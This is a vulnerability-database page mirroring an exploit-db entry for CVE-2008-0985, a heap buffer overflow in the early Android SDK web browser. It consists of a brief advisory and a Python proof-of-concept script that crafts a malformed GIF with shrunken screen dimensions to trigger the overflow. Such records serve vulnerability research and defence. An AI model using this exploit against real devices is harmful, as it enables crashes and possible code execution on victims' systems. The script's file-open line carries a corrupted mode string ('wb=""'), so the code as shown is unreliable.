Lucene search
+L

Google Android Web Browser - '.GIF' File Heap Buffer Overflow

🗓️ 04 Mar 2008 00:00:00Reported by Alfredo OrtegaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 21 Views

Google Android Web Browser '.GIF' File Heap Buffer Overflow vulnerability in Android SDK m3-rc37a and earlie

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-0985
4 Mar 200800:00
circl
Core Security
Multiple vulnerabilities in Google's Android SDK
4 Mar 200800:00
coresecurity
CVE
CVE-2008-0985
6 Mar 200800:00
cve
Cvelist
CVE-2008-0985
6 Mar 200800:00
cvelist
EUVD
EUVD-2008-0992
6 Mar 200800:00
euvd
NVD
CVE-2008-0985
6 Mar 200800:44
nvd
Packet Storm
Core Security Technologies Advisory 2008.0124
4 Mar 200800:00
packetstorm
Prion
Heap overflow
6 Mar 200800:44
prion
securityvulns
CORE-2008-0124: Multiple vulnerabilities in Google's Android SDK
5 Mar 200800:00
securityvulns
source: https://www.securityfocus.com/bid/28005/info

Android Web Browser is prone to a heap-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

Successfully exploiting this vulnerability can allow remote attackers to execute arbitrary machine code in the context of the application. Failed attempts will likely result in denial-of-service conditions.

This issue affects Android SDK m3-rc37a and earlier.

##Android Heap Overflow
##Ortega Alfredo _ Core Security Exploit Writers Team
##tested against Android SDK m3-rc37a

import Image
import struct

#Creates a _good_ gif image
imagename='overflow.gif'
str = '\x00\x00\x00\x00'*30000
im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1)
im.save(imagename,'GIF')

#Shrink the Logical screen dimension
SWidth=1
SHeight=1

img = open(imagename,'rb').read()
img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:]

#Save the _bad_ gif image
q=open(imagename,'wb=""')
q.write(img)
q.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jan 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.04592
21